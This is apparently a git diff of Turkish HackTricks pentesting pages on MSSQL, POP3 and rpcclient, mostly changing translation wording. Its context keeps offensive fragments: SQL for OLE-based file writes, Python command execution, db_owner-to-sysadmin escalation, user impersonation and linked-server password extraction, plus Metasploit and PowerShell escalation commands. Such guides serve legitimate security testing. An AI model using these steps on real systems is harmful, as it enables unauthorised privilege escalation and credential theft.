Procedures**](https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/ole-automation-procedures-server-configuration-option) özelliğini etkinleştirmemiz gerekmektedir, bu da yönetici ayrıcalıklarını gerektirir, ardından dosyayı oluşturmak için bazı depolanan prosedürleri çalıştırmamız gerekmektedir: +`MSSQL` kullanarak dosya yazabilmek için, yönetici ayrıcalıklarına sahip olmamız gerekmektedir ve ardından dosyayı oluşturmak için bazı depolanan prosedürleri çalıştırmamız gerekmektedir: ```bash # Enable Ole Automation Procedures sp_configure 'show advanced options', 1 @@ -279,7 +279,7 @@ EXECUTE sp_OAMethod @FileID, 'WriteLine', Null, ') -Çeşitli işlemleri gerçekleştirmek için yapılandırılmış python kullanan bir örnek: +Çeşitli işlemleri gerçekleştirmek için yapılandırılmış python kullanarak örnek: ```sql # Print the user being used (and execute commands) EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("getpass").getuser())' @@ -316,9 +316,9 @@ print(sys.version) ' GO ``` -### Registry'yi Oku +### Registry'i Oku -Microsoft SQL Server, **birden fazla genişletilmiş depolama prosedürü** sağlar, bu prosedürler sayesinde sadece ağ ile etkileşimde bulunmakla kalmaz, aynı zamanda dosya sistemi ve hatta [**Windows Registry**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server)** ile de etkileşimde bulunabilirsiniz:** +Microsoft SQL Server, **çoklu genişletilmiş depolama prosedürleri** sağlar ve bu prosedürler sayesinde sadece ağ ile etkileşime geçmekle kalmaz, aynı zamanda dosya sistemi ve hatta [**Windows Registry**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server)** ile de etkileşimde bulunabilirsiniz:** | **Normal** | **Örnek Duyarlı** | | ---------------------------- | -------------------------------------- | @@ -345,19 +345,19 @@ EXEC sp_helprotect 'xp_regwrite'; ### MSSQL Kullanıcı Tanımlı Fonksiyon ile RCE - SQLHttp -Özel fonksiyonlarla birlikte **.NET dll'sini MSSQL içinde yüklemek mümkündür**. Bunun için **`dbo` erişimi gerektirir**, bu yüzden veritabanına bağlantı **`sa` veya Yönetici rolü olarak** olmalıdır. +Özel fonksiyonlarla bir .NET dll'sini MSSQL içinde yüklemek mümkündür. Bunun için **`dbo` erişimi gerektirir**, bu yüzden veritabanına bağlantı **`sa` veya Yönetici rolüyle** olmalıdır. -Bir örnek görmek için [**bu bağlantıyı takip edin**](../../pentesting-web/sql-injection/mssql-injection.md#mssql-user-defined-function-sqlhttp). +Örneği görmek için [**bu bağlantıyı takip edin**](../../pentesting-web/sql-injection/mssql-injection.md#mssql-user-defined-function-sqlhttp). ### RCE için Diğer Yöntemler -Komut yürütme elde etmek için diğer yöntemler de vardır, örneğin [genişletilmiş depolanan prosedürler eklemek](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/adding-an-extended-stored-procedure-to-sql-server), [CLR Assembly'ler](https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration), [SQL Server Agent İşleri](https://docs.microsoft.com/en-us/sql/ssms/agent/schedule-a-job?view=sql-server-ver15) ve [harici betikler](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-execute-external-script-transact-sql). +Komut yürütme elde etmek için diğer yöntemler de vardır, örneğin [genişletilmiş depolanan prosedürler](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/adding-an-extended-stored-procedure-to-sql-server), [CLR Assembly'ler](https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration), [SQL Server Agent İşleri](https://docs.microsoft.com/en-us/sql/ssms/agent/schedule-a-job?view=sql-server-ver15) ve [harici betikler](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-execute-external-script-transact-sql). ## MSSQL Yetki Yükseltme ### db\_owner'dan sysadmin'e -Eğer bir **normal kullanıcıya** bir **`db_owner`** rolü verilirse ve bu rolü **bir yöneticiye ait** olan bir veritabanına (örneğin **`sa`**) sahipse ve bu veritabanı **`trustworthy`** olarak yapılandırılmışsa, bu kullanıcı bu ayrıcalıkları **yetki yükseltme** için kötüye kullanabilir çünkü orada oluşturulan **depolanmış prosedürler** sahibi olarak (**yönetici**) **çalıştırılabilir**. +Eğer bir **normal kullanıcıya** bir **`db_owner`** rolü verilirse ve bu rolü **bir yöneticiye ait** olan bir veritabanında (örneğin **`sa`**) yapılandırılmışsa, bu kullanıcı bu ayrıcalıkları **yetki yükseltme** için kötüye kullanabilir çünkü orada oluşturulan **depolanan prosedürler** sahibi (**yönetici**) olarak **çalıştırılabilir**. ```sql # Get owners of databases SELECT suser_sname(owner_sid) FROM sys.databases @@ -391,7 +391,7 @@ EXEC sp_elevate_me --3. Verify your user is a sysadmin SELECT is_srvrolemember('sysadmin') ``` -Şu **metasploit** modülünü kullanabilirsiniz: +**Metasploit** modülünü kullanabilirsiniz: ```bash msf> use auxiliary/admin/mssql/mssql_escalate_dbowner ``` @@ -403,7 +403,7 @@ Invoke-SqlServerDbElevateDbOwner -SqlUser myappuser -SqlPass MyPassword! -SqlSer ``` ### Diğer kullanıcıların taklit edilmesi -SQL Server'ın **`IMPERSONATE`** adında özel bir izni vardır. Bu izin, **yürütülen kullanıcının başka bir kullanıcının izinlerini** veya oturumu sıfırlanana veya oturum sona erene kadar almasına olanak tanır. +SQL Server'ın **`IMPERSONATE`** adında özel bir izni vardır. Bu izin, **yürütülen kullanıcının başka bir kullanıcının izinlerini veya oturum açma bilgilerini almasına izin verir** ve bu bağlam sıfırlanana veya oturum sona erene kadar devam eder. ```sql # Find users you can impersonate SELECT distinct b.name @@ -419,9 +419,9 @@ SELECT SYSTEM_USER SELECT IS_SRVROLEMEMBER('sysadmin') ``` {% hint style="info" %} -Eğer bir kullanıcıyı taklit edebilirseniz, o kişinin sysadmin olmasa bile diğer veritabanlarına veya bağlı sunuculara erişiminin olup olmadığını kontrol etmelisiniz. +Eğer bir kullanıcıyı taklit edebilirseniz, o kişinin sysadmin olmasa bile diğer veritabanlarına veya bağlı sunuculara erişip erişemediğini kontrol etmelisiniz. -Unutmayın ki bir kez sysadmin olduğunuzda herhangi bir başkasını taklit edebilirsiniz: +Sysadmin olduğunuzda herhangi bir başkasını taklit edebileceğinizi unutmayın: {% endhint %} ```sql -- Impersonate RegUser @@ -446,9 +446,9 @@ Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuse [https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/](https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/) -## SQL Server Bağlantılı Sunuculardan Şifrelerin Çıkarılması +## SQL Server Bağlantılı Sunuculardan Şifreleri Çıkarma Bir saldırgan, SQL Server Bağlantılı Sunucuların şifrelerini SQL Örneklerinden çıkarabilir ve bunları açık metin olarak alarak hedef üzerinde daha büyük bir hak elde etmek için kullanabilir. -Bağlantılı Sunucular için depolanan şifreleri çıkarmak ve şifreleri çözmek için kullanılan betik [burada bulunabilir](https://www.richardswinbank.net/admin/extract_linked_server_passwords) +Bağlantılı Sunucular için depolanan şifreleri çıkarmak ve şifreleri çözmek için kullanılan betik [burada](https://www.richardswinbank.net/admin/extract_linked_server_passwords) bulunabilir. Bu saldırının çalışabilmesi için bazı gereksinimler ve yapılandırmalar yapılmalıdır. Öncelikle, makinede Yönetici haklarına sahip olmalısınız veya SQL Server Yapılandırmalarını yönetme yeteneğine sahip olmalısınız. @@ -458,11 +458,11 @@ Bu saldırının çalışabilmesi için bazı gereksinimler ve yapılandırmalar 2. Bir Başlangıç parametresi ekleyin, bu durumda eklenen bir izleme bayrağı olacaktır, yani -T7806. 3. Uzak yönetici bağlantısını etkinleştirin. -Bu yapılandırmaları otomatikleştirmek için [bu depo ](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/) gerekli betiklere sahiptir. +Bu yapılandırmaları otomatikleştirmek için [bu depo](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/) gerekli betiklere sahiptir. Yapılandırma adımlarının her biri için bir PowerShell betiği yanı sıra, depoda yapılandırma betiklerini ve şifrelerin çıkarılması ve çözülmesini birleştiren tam bir betik de bulunmaktadır. Bu saldırı hakkında daha fazla bilgi için aşağıdaki bağlantılara başvurun: -[MSSQL Veritabanı Bağlantılı Sunucu Şifrelerinin Şifrelenmesi](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/) +[MSSQL Veritabanı Bağlantılı Sunucu Şifrelerinin Çözülmesi](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/) [SQL Server Ayrılmış Yönetici Bağlantısını Sorun Giderme](https://www.mssqltips.com/sqlservertip/5364/troubleshooting-the-sql-server-dedicated-administrator-connection/) @@ -485,20 +485,20 @@ Büyük olasılıkla, bu 2 sayfadan birini takip ederek **Yöneticiye yükselteb ## Referanslar -* [https://stackoverflow.com/questions/18866881/how-to-get-the-list-of-all-database-users](https://stackoverflow.com/questions/18866881/how-to-get-the-list-of-all-database-users) -* [https://www.mssqltips.com/sqlservertip/6828/sql-server-login-user-permissions-fn-my-permissions/](https://www.mssqltips.com/sqlservertip/6828/sql-server-login-user-permissions-fn-my-permissions/) -* [https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/) -* [https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/](https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/) -* [https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/](https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/) -* [https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/](https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/) -* [https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/) +* [Tüm Veritabanı Kullanıcılarının Listesini Nasıl Alabilirim?](https://stackoverflow.com/questions/18866881/how-to-get-the-list-of-all-database-users) +* [SQL Server Giriş Kullanıcı İzinleri fn_my_permissions](https://www.mssqltips.com/sqlservertip/6828/sql-server-login-user-permissions-fn-my-permissions/) +* [Gelişmiş MSSQL Enjeksiyon Hileleri](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/) +* [SQL Server Depolanan Prosedürlerin Hacklenmesi Bölüm 1 - Güvenilmeyen Veritabanları](https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/) +* [SQL Server Depolanan Prosedürlerin Hacklenmesi Bölüm 2 - Kullanıcı Taklit Etme](https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/) +* [Metasploit Kullanarak SQL Server Üzerinden SMB Röle Saldırıları Gerçekleştirme](https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/) +* [SQL Server ile Çalışan Kayıt Defteri](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/) **Try Hard Security Group** -
+
{% embed url="https://discord.gg/tryhardsecurity" %} -*** +*** ## HackTricks Otomatik Komutları ``` @@ -558,14 +558,14 @@ Command: msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_ping; set RHOSTS {I ```
-AWS hacklemeyi sıfırdan kahramana öğrenin htARTE (HackTricks AWS Red Team Expert)! +Sıfırdan kahraman olmaya kadar AWS hacklemeyi öğrenin htARTE (HackTricks AWS Red Team Expert)! HackTricks'ı desteklemenin diğer yolları: -* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na (https://github.com/sponsors/carlospolop) göz atın! +* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**The PEASS Family**]'yi (https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**]'i (https://opensea.io/collection/the-peass-family) içeren koleksiyonumuzu -* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin.** -* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. +* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz +* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin.** +* **Hacking püf noktalarınızı paylaşarak PR göndererek HackTricks** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
diff --git a/network-services-pentesting/pentesting-pop.md b/network-services-pentesting/pentesting-pop.md index 4968b9db5..b6d6f2a01 100644 --- a/network-services-pentesting/pentesting-pop.md +++ b/network-services-pentesting/pentesting-pop.md @@ -1,20 +1,20 @@ -# 110,995 - POP Pentest +# 110,995 - POP Pentesting
-AWS hacklemeyi sıfırdan kahramana öğrenin htARTE (HackTricks AWS Red Team Expert)! +AWS hacklemeyi sıfırdan kahramana öğrenin htARTE (HackTricks AWS Red Team Expert) ile! -* **Bir **cybersecurity şirketinde mi çalışıyorsunuz? **Şirketinizi HackTricks'te** görmek ister misiniz? ya da **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! +* **Bir siber güvenlik şirketinde mi çalışıyorsunuz? Şirketinizin **HackTricks'te reklamını görmek ister misiniz**? Ya da **PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek ister misiniz**? [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! * [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com) -* **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) ya da [**telegram grubuna**](https://t.me/peass) veya beni **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin.** -* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin +* **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya beni **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.** +* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **ile paylaşın.**
**Try Hard Güvenlik Grubu** -
+
{% embed url="https://discord.gg/tryhardsecurity" %} @@ -22,9 +22,9 @@ ## Temel Bilgiler -**Posta Ofisi Protokolü (POP)**, bilgisayar ağları ve İnternet alanında kullanılan bir protokol olarak tanımlanır ve **uzaktaki posta sunucusundan e-postaların çıkarılması ve alınması** için kullanılır, böylece bunlar yerel cihazda erişilebilir hale gelir. OSI modelinin uygulama katmanında konumlandırılan bu protokol, kullanıcıların e-postaları almasını ve almasını sağlar. **POP istemcilerinin** işleyişi genellikle posta sunucusuna bağlantı kurmayı, tüm iletileri indirmeyi, bu iletileri yerel olarak istemci sistemde depolamayı ve ardından sunucudan kaldırmayı içerir. Bu protokolün üç tane sürümü olsa da, **POP3** en yaygın olarak kullanılan sürüm olarak öne çıkar. +**Posta Ofisi Protokolü (POP)**, bilgisayar ağları ve İnternet alanında kullanılan bir protokol olarak tanımlanır ve **uzaktaki posta sunucusundan e-postaların çıkarılması ve alınması** için kullanılır, böylece bunlar yerel cihazda erişilebilir hale gelir. OSI modelinin uygulama katmanında konumlandırılan bu protokol, kullanıcıların e-postaları almasını ve almasını sağlar. **POP istemcilerinin** işleyişi genellikle posta sunucusuna bağlantı kurmayı, tüm iletileri indirmeyi, bu iletileri yerel olarak istemci sistemine depolamayı ve ardından sunucudan kaldırmayı içerir. Bu protokolün üç tane sürümü olsa da, **POP3** en yaygın olarak kullanılan sürüm olarak öne çıkar. -**Varsayılan portlar:** 110, 995(ssl) +**Varsayılan bağlantı noktaları:** 110, 995(ssl) ``` PORT STATE SERVICE 110/tcp open pop3 @@ -46,11 +46,11 @@ nmap --script "pop3-capabilities or pop3-ntlm-info" -sV -port #All a ``` `pop3-ntlm-info` eklentisi bazı "**duyarlı**" verileri (Windows sürümleri) döndürecektir. -### [POP3 kaba kuvvet saldırısı](../generic-methodologies-and-resources/brute-force.md#pop) +### [POP3 kaba kuvvet](../generic-methodologies-and-resources/brute-force.md#pop) ## POP sözdizimi -POP komutları örnekleri [buradan](http://sunnyoasis.com/services/emailviatelnet.html) alınmıştır. +POP komut örnekleri [buradan](http://sunnyoasis.com/services/emailviatelnet.html) alınmıştır. ```bash POP commands: USER uid Log in as "uid" @@ -93,17 +93,17 @@ password: PA$$W0RD!Z [https://academy.hackthebox.com/module/112/section/1073](https://academy.hackthebox.com/module/112/section/1073) adresinden alınmıştır. -| **Ayar** | **Açıklama** | -| ------------------------- | --------------------------------------------------------------------------------------------- | -| `auth_debug` | Tüm kimlik doğrulama hata ayıklama işlemlerini etkinleştirir. | -| `auth_debug_passwords` | Bu ayar, günlüğün ayrıntı düzeyini, gönderilen şifreleri ve şema bilgilerini kaydeder. | -| `auth_verbose` | Başarısız kimlik doğrulama denemelerini ve nedenlerini kaydeder. | -| `auth_verbose_passwords` | Kimlik doğrulaması için kullanılan şifreler kaydedilir ve kısaltılabilir. | -| `auth_anonymous_username` | Bu, ANONYMOUS SASL mekanizması ile oturum açarken kullanılacak kullanıcı adını belirtir. | +| **Ayar** | **Açıklama** | +| ------------------------- | ----------------------------------------------------------------------------------------- | +| `auth_debug` | Tüm kimlik doğrulama hata ayıklama işlemlerini etkinleştirir. | +| `auth_debug_passwords` | Bu ayar, günlük ayrıntısını ayarlar, gönderilen şifreler ve şema kaydedilir. | +| `auth_verbose` | Başarısız kimlik doğrulama denemelerini ve nedenlerini kaydeder. | +| `auth_verbose_passwords` | Kimlik doğrulaması için kullanılan şifreler kaydedilir ve ayrıca kısaltılabilir. | +| `auth_anonymous_username` | Bu, ANONYMOUS SASL mekanizması ile oturum açarken kullanılacak kullanıcı adını belirtir. | **Try Hard Security Group** -
+
{% embed url="https://discord.gg/tryhardsecurity" %} @@ -150,13 +150,13 @@ Command: msfconsole -q -x 'use auxiliary/scanner/pop3/pop3_version; set RHOSTS { ```
-AWS hacklemeyi sıfırdan kahramana öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)! +AWS hacklemeyi sıfırdan kahramana öğrenin htARTE (HackTricks AWS Red Team Expert)! -* **Bir **cybersecurity şirketinde mi çalışıyorsunuz? **Şirketinizi HackTricks'te reklamını görmek ister misiniz**? ya da **PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek ister misiniz**? [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! +* **Bir **cybersecurity şirketinde mi çalışıyorsunuz**? **Şirketinizi HackTricks'te** görmek ister misiniz? ya da **PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! * [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz * [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com) * **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) ya da [**telegram grubuna**](https://t.me/peass) veya beni **Twitter**'da takip edin 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Hackleme hilelerinizi paylaşarak PR'lar gönderin** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **ile katkıda bulunun**.
diff --git a/network-services-pentesting/pentesting-smb/rpcclient-enumeration.md b/network-services-pentesting/pentesting-smb/rpcclient-enumeration.md index 103b38e0f..fc562cc04 100644 --- a/network-services-pentesting/pentesting-smb/rpcclient-enumeration.md +++ b/network-services-pentesting/pentesting-smb/rpcclient-enumeration.md @@ -4,46 +4,46 @@ AWS hacklemeyi sıfırdan kahramana öğrenin htARTE (HackTricks AWS Red Team Expert) ile! -* **Bir **cybersecurity şirketinde mi çalışıyorsunuz? **Şirketinizi HackTricks'te** görmek ister misiniz? ya da **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! -* [**PEASS Ailesi**](https://opensea.io/collection/the-peass-family)'ni keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu -* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) **Discord grubuna**](https://discord.gg/hRep4RUj7f) veya **telegram grubuna** veya **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin.** -* **Hacking püf noktalarınızı göndererek [hacktricks repo](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**'a PR gönderin. +* **Bir siber güvenlik şirketinde mi çalışıyorsunuz? Şirketinizin HackTricks'te reklamını görmek ister misiniz? Ya da en son PEASS sürümüne erişmek veya HackTricks'i PDF olarak indirmek ister misiniz?** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! +* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu görün +* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com) +* **[💬](https://emojipedia.org/speech-balloon/) Discord grubuna** katılın veya [telegram grubuna](https://t.me/peass) **katılın** veya beni **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin**. +* **Hacking püf noktalarınızı göndererek [hacktricks deposuna](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud deposuna](https://github.com/carlospolop/hacktricks-cloud) PR'leri gönderin**. **Try Hard Security Group** -
+
{% embed url="https://discord.gg/tryhardsecurity" %} *** -### Relative Identifiers (RID) ve Security Identifiers (SID) Genel Bakış +### Göreceli Kimlik Belirleyicileri (RID) ve Güvenlik Kimlik Belirleyicileri (SID) Genel Bakış -**Relative Identifiers (RID)** ve **Security Identifiers (SID)**, Windows işletim sistemlerinde ağ etki alanı içinde kullanıcılar ve gruplar gibi nesneleri benzersiz bir şekilde tanımlamak ve yönetmek için önemli bileşenlerdir. +**Göreceli Kimlik Belirleyicileri (RID)** ve **Güvenlik Kimlik Belirleyicileri (SID)**, Windows işletim sistemlerinde ağ alanında kullanıcılar ve gruplar gibi nesneleri benzersiz bir şekilde tanımlamak ve yönetmek için önemli bileşenlerdir. -- **SIDs**, her etki alanının ayırt edilebilir olduğunu sağlayan benzersiz kimlikler olarak hizmet eder. -- **RIDs**, bu etki alanlarındaki nesneler için benzersiz kimlikler oluşturmak için SIDs'ye eklenir. Bu kombinasyon, nesne izinlerinin ve erişim kontrollerinin hassas takibi ve yönetimine olanak tanır. +- **SID'ler**, her alanın ayırt edilebilir olduğunu sağlayan benzersiz kimlik belirleyicileri olarak hizmet eder. +- **RID'ler**, bu alanlardaki nesneler için benzersiz kimlik belirleyicileri oluşturmak için SID'lere eklenir. Bu kombinasyon, nesne izinlerinin ve erişim kontrollerinin hassas takibi ve yönetimine olanak tanır. -Örneğin, `pepe` adında bir kullanıcının, etki alanının SID'si ile belirli RID'sini birleştiren benzersiz bir kimliği olabilir. Bu, hem onaltılık (`0x457`) hem de ondalık (`1111`) formatlarda temsil edilir. Bu, pepe için etki alanı içinde tam ve benzersiz bir kimlik oluşturur: `S-1-5-21-1074507654-1937615267-42093643874-1111`. +Örneğin, `pepe` adında bir kullanıcının, alanın SID'si ile belirli RID'sini birleştiren benzersiz bir kimlik belirleyicisi olabilir. Bu, pepe için alan içinde tam ve benzersiz bir kimlik belirleyici sağlar: `S-1-5-21-1074507654-1937615267-42093643874-1111`. -### rpcclient ile Enumerasyon +### **rpcclient ile Numaralandırma** -**`rpcclient`** aracı, **RPC uç noktalarıyla adlandırılmış borular aracılığıyla etkileşimde bulunmak** için Samba'dan kullanılır. **SMB oturumu kurulduktan sonra** SAMR, LSARPC ve LSARPC-DS arabirimlerine verilebilecek aşağıdaki komutlar genellikle kimlik bilgilerini gerektirir. +Samba'dan gelen **`rpcclient`** yardımcı programı, **RPC uç noktalarıyla adlandırılmış borular aracılığıyla etkileşimde bulunmak için** kullanılır. Genellikle kimlik bilgilerini gerektirir ve **bir SMB oturumu kurulduktan sonra** SAMR, LSARPC ve LSARPC-DS arabirimlerine verilebilecek aşağıdaki komutlar bulunmaktadır. #### Sunucu Bilgileri * **Sunucu Bilgilerini** almak için: `srvinfo` komutu kullanılır. -#### Kullanıcıların Enumerasyonu +#### Kullanıcıların Numaralandırılması -* **Kullanıcılar**, `querydispinfo` ve `enumdomusers` kullanılarak listelenebilir. +* **Kullanıcılar**, `querydispinfo` ve `enumdomusers` komutları kullanılarak listelenebilir. * **Bir kullanıcının detayları**, `queryuser <0xrid>` ile alınabilir. -* **Bir kullanıcının grupları**, `queryusergroups <0xrid>` ile görüntülenebilir. -* **Bir kullanıcının SID'si**, `lookupnames ` ile alınabilir. +* **Bir kullanıcının grupları**, `queryusergroups <0xrid>` ile alınabilir. +* **Bir kullanıcının SID'i**, `lookupnames ` ile alınabilir. * **Kullanıcıların takma adları**, `queryuseraliases [builtin|domain] ` ile alınabilir. ```bash # Users' RIDs-forced @@ -77,9 +77,9 @@ done #### SIDs ile İlgili Ek İşlemler -* **SIDs'lerin isimleri** için: `lookupnames `. +* **İsimlere göre SIDs** için: `lookupnames `. * **Daha fazla SIDs** için: `lsaenumsid`. -* **Daha fazla SIDs kontrol etmek için RID döngüsü** ile: `lookupsids `. +* **Daha fazla SIDs'i kontrol etmek için RID döngüsü** ile: `lookupsids `. #### **Ek komutlar** @@ -93,28 +93,28 @@ done | createdomuser | Bir alan kullanıcısı oluşturur | | | deletedomuser | Bir alan kullanıcısını siler | | | lookupnames | LSARPC | Kullanıcı adlarını SID değerlerine bakar[a](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#ch08fn8) | -| lookupsids | SIDs'leri kullanıcı adlarına bakar (RID[b](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#ch08fn9) döngüsü) | | -| lsaaddacctrights | Bir kullanıcı hesabına hak ekler | | +| lookupsids | SIDs'i kullanıcı adlarına bakar (RID[b](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#ch08fn9) döngüsü) | | +| lsaaddacctrights | Bir kullanıcı hesabına haklar ekler | | | lsaremoveacctrights | Bir kullanıcı hesabından hakları kaldırır | | | dsroledominfo | LSARPC-DS | Birincil alan bilgilerini alır | | dsenumdomtrusts | Bir AD ormanı içinde güvenilen alanları sıralar | | -**_samrdump_** ve **_rpcdump_** araçlarının nasıl çalıştığını daha iyi **anlamak** için [**MSRPC Pentesting**](../135-pentesting-msrpc.md) bölümünü okumalısınız. +**_samrdump_** ve **_rpcdump_** araçlarının nasıl çalıştığını daha iyi **anlamak** için [**Pentesting MSRPC**](../135-pentesting-msrpc.md) okumalısınız. **Try Hard Security Group** -
+
{% embed url="https://discord.gg/tryhardsecurity" %}
